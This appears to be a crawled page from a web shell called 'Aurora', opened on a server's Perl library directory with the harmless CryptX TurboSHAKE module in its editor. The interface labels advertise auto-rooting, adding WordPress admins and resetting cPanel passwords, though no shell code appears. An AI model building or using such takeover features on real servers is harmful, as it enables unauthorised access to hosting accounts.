Aurora
Adminer
Auto Root
WP Admin
cPanel Reset
Anti Backdoor
Root
lib64
perl5
vendor_perl
Crypt
Digest
Upload
New Folder
New File
Name
Size
Permissions
Actions
..
-
-
-
Upload File
Select File
New Folder
Folder Name
New File
File Name
Add WordPress Admin
Database Host
Database Name
Database User
Database Password
Admin Username
Admin Password
cPanel Password Reset
Email Address
Edit: TurboSHAKE.pm
package Crypt::Digest::TurboSHAKE; use strict; use warnings; our $VERSION = '0.089'; use Carp; $Carp::Internal{(__PACKAGE__)}++; use CryptX; sub addfile { my ($self, $file) = @_; my ($handle, $close_handle); if (ref($file) && eval { defined fileno($file) }) { $handle = $file; } elsif (defined($file) && !ref($file)) { open($handle, "<", $file) || croak "FATAL: cannot open '$file': $!"; binmode($handle); $close_handle = 1; } else { croak "FATAL: invalid handle"; } my $n; my $buf = ""; { local $SIG{__DIE__} = \&CryptX::_croak; while (($n = read($handle, $buf, 32*1024))) { $self->add($buf) } croak "FATAL: read failed: $!" unless defined $n; } close($handle) if $close_handle; return $self; } sub CLONE_SKIP { 1 } # prevent cloning 1; =pod =head1 NAME Crypt::Digest::TurboSHAKE - XOF (extendable output) hash functions TurboSHAKE128 and TurboSHAKE256 =head1 SYNOPSIS use Crypt::Digest::TurboSHAKE; my $d = Crypt::Digest::TurboSHAKE->new(128); # TurboSHAKE128 $d->add('any data'); my $result = $d->done(32); # 32 bytes of output # or absorb input from a file instead my $file_d = Crypt::Digest::TurboSHAKE->new(128); $file_d->addfile('filename.dat'); my $file_result = $file_d->done(32); =head1 DESCRIPTION I<Since: CryptX-0.089> Provides an interface to TurboSHAKE128 and TurboSHAKE256 as defined in L<RFC 9861|https://www.rfc-editor.org/rfc/rfc9861>. TurboSHAKE is a faster variant of SHAKE based on the reduced-round KeccakP-1600 permutation. Like SHAKE, it is an XOF (extendable output function): C<done()> can be called multiple times to stream arbitrary amounts of output. After the first C<done()>, treat the object as being in output mode: do not call C<add()> again on that state. Use C<reset()> or a new object to start hashing a new message. =head1 METHODS Unless noted otherwise, assume C<$d> is an existing TurboSHAKE object created via C<new>, for example: my $d = Crypt::Digest::TurboSHAKE->new(128); =head2 new my $d = Crypt::Digest::TurboSHAKE->new($num); # $num ... [integer] 128 or 256 (selects TurboSHAKE128 or TurboSHAKE256) =head2 clone my $d2 = $d->clone; =head2 reset $d->reset; =head2 add Appends data to the message. Returns the object itself (for chaining). Each argument is converted to bytes using Perl's usual scalar stringification. Defined scalars, including numbers and string-overloaded objects, are accepted. C<undef> is treated as an empty string and may emit Perl's usual "uninitialized value" warning. $d->add('any data'); #or $d->add('any data', 'more data', 'even more data'); =head2 addfile Reads the file content and appends it to the message. Returns the object itself (for chaining). $d->addfile('filename.dat'); #or my $filehandle = ...; # existing binary-mode filehandle $d->addfile($filehandle); =head2 done Returns C<$len> bytes of output as a binary string. Can be called repeatedly to stream an unlimited amount of output from the same absorbed input. The C<$len> argument is required and must be a positive integer. Single C<done()> calls are limited to 1,000,000,000 bytes, but the recommended way to read large output is to call C<done()> repeatedly in 10 MB chunks. After the first C<done()> call the object is in output mode. Calling C<add()> in this state croaks; use C<reset()> or create a new object to hash a different message. my $result_raw = $d->done($len); # can be called multiple times; $len is the number of output bytes to read # after the first done(), add() croaks until you call reset() =head1 SEE ALSO =over =item * L<CryptX>, L<Crypt::Digest::SHAKE>, L<Crypt::Digest::KangarooTwelve> =item * L<RFC 9861|https://www.rfc-editor.org/rfc/rfc9861> =back =cut